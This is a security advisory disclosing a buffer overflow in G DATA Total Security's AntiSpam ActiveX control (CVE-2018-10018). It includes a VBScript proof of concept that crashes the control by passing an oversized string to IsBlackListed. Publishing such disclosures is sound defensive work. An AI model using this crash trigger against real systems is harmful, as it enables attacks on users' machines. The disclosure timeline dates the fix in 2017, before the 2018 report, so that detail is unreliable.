G DATA TOTAL SECURITY 25.4.0.3 Active-X Buffer Overflow

`=====[ Tempest Security Intelligence - ADV-24/2018 ]===  
  
G DATA TOTAL SECURITY v25.4.0.3 Activex Buffer Overflow  
Author: Filipe Xavier Oliveira  
Tempest Security Intelligence - Recife, Pernambuco - Brazil  
  
=====[ Table of Contents  
]=====================================================  
  
* Overview  
* Detailed description  
* Timeline of disclosure  
* Thanks & Acknowledgements  
* References  
  
=====[ Overview  
]==============================================================  
  
* System affected : G DATA TOTAL SECURITY [1].  
* Software Version : 25.4.0.3 (other versions may also be affected).  
* Impact : A user may be affected by opening a malicious black list  
email in the antispam filter,  
  
=====[ Detailed description  
]==================================================  
The GDASPAMLib.AntiSpam ActiveX control ASK\GDASpam.dll in G DATA Total  
Security 25.4.0.3 has a buffer overflow via a long IsBlackListed argument.  
Through a long input in a member of class called Antispam, isblackedlist  
class is vulnerable a buffer overflow.  
  
A poc that causes a buffer overflow :  
  
<?XML version='1.0' standalone='yes' ?>  
<package><job id='DoneInVBS' debug='false' error='true'>  
<object classid='clsid:B9D1548D-4339-485A-ABA2-F9F9C1CBF8AC' id='target' />  
<script language='vbscript'>  
  
  
'for debugging/custom prolog  
targetFile = "C:\Program Files\G DATA\TotalSecurity\ASK\GDASpam.dll"  
prototype = "Function IsBlackListed ( ByVal strIP As String ) As Long"  
memberName = "IsBlackListed"  
progid = "GDASPAMLib.AntiSpam"  
argCount = 1  
  
arg1=String(14356, "A")  
  
target.IsBlackListed arg1  
  
</script></job></package>  
  
=====[ Timeline of disclosure  
]===============================================  
  
04/10/2018 - Vulnerability reported.  
04/17/2018 - The vendor will fix the vulnerability.  
05/24/2017 - Vulnerability fixed.  
  
07/12/2018 - CVE assigned [1]  
  
=====[ Thanks & Acknowledgements  
]============================================  
  
- Tempest Security Intelligence / Tempest's Pentest Team [3]  
  
=====[ References  
]===========================================================  
  
[1] https://www.gdatasoftware.com/  
  
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10018  
  
[3] http://www.tempest.com.br <http://www.tempest.com.br/>  
  
=====[ EOF  
]====================================================================  
  
--   
Filipe Oliveira  
Tempest Security Intelligence  
  
  
  
`